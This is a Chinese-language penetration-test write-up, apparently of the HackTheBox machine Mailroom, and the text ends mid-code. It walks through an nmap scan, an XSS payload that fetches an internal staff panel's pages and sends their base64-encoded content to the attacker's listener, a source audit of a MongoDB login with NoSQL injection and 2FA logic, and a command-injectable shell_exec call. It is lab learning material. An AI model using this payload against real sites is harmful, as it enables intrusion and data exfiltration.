实战|记一次利用XSS读取源码和Nosql注入渗透测试
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。 一、信息收集 nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209 看来要从80端口的web服务硬着开始了。 目录扫描一波无果,发现还存在子域名; 另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性); 接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。 二、漏洞挖掘 1、XSS漏洞 进到web界面各种尝试发现了一个xss, 并没有过滤,可以成功触发; 第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到; 后续也尝试了其他利用方法均无果。 2、XMLRequest发起ajax请求 在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下; nc -lvnp 80 成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。 我们直接在kali本地访问子域名,发现403了。 那么接下来我们尝试使用xss进行请求。 └─# cat pwned.js var http = new XMLHttpRequest();http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () { fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));};http.send(null); Burp报文 POST /contact.php HTTP/1.1Host: mailroom.htbContent-Length: 82Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://mailroom.htbContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://mailroom.htb/contact.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close email=1%401.com&title=1&message= 成功接收回显!!读取到的内容是base64 加密过后的内容。 3、代码审计 对主要的auth.php认证文件进行审计; false, 'message' => 'Failed to connect to the database']); exit;}$collection = $client->backend_panel->users; // Select the users collection // Authenticate user & Send 2FA if validif (isset($_POST['email']) && isset($_POST['password'])) { // Verify the parameters are valid if (!is_string($_POST['email']) || !is_string($_POST['password'])) { header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid input detected']); } // Check if the email and password are correct $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]); if ($user) { // Generate a random UUID for the 2FA token $token = bin2hex(random_bytes(16)); $now = time(); // Update the user record in the database with the 2FA token if not already sent in the last minute $user = $collection->findOne(['_id' => $user['_id']]); if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) { $collection->updateOne( ['_id' => $user['_id']], ['$set' => ['2fa_token' => $token, 'token_creation' => $now]] ); // Send an email to the user with the 2FA token $to = $user['email']; $subject = '2FA Token'; $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token; mail($to, $subject, $message); } // Return a JSON response notifying about 2fa echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']); exit; } else { // Return a JSON error response header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid email or password']); }} // Check for invalid parameterselse if (!isset($_GET['token'])) { header('HTTP/1.1 400 Bad Request'); echo json_encode(['success' => false, 'message' => 'Email and password are required']); exit;} // Check if the form has been submittedelse if (isset($_GET['token'])) { // Verify Token parameter is valid if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) { header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid input detected']); exit; } // Check if the token is correct $user = $collection->findOne(['2fa_token' => $_GET['token']]); if ($user) { // Set the logged_in flag and name in the session $_SESSION['logged_in'] = true; $_SESSION['name'] = explode('@', $user['email'])[0]; // Remove 2FA token since user already used it to log in $collection->updateOne( ['_id' => $user['_id']], ['$unset' => ['2fa_token' => '']] ); // Redirect to dashboard since login was successful header('Location: dashboard.php'); exit; } else { // Return a JSON error response header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']); exit; }} ?> 审计了一下,这个页面的作用是身份认证,正如文件名auth.php 一样 ,首先观察到后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始身份认证逻辑。 首先检查用户是否通过POST请求发送emali 和 password 字段,在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段,最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型。 这里是存在nosql注入的,有关于nosql注入的知识请自行补充。 在看下inspect.php的源码; ;|&{}()[]'"]/', '', $_POST['inquiry_id']); $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html"); // Parse the data between and
- 上一篇:记一次校内站点的漏洞挖掘测试
- 下一篇:实战!记一次对某菠菜的简单测试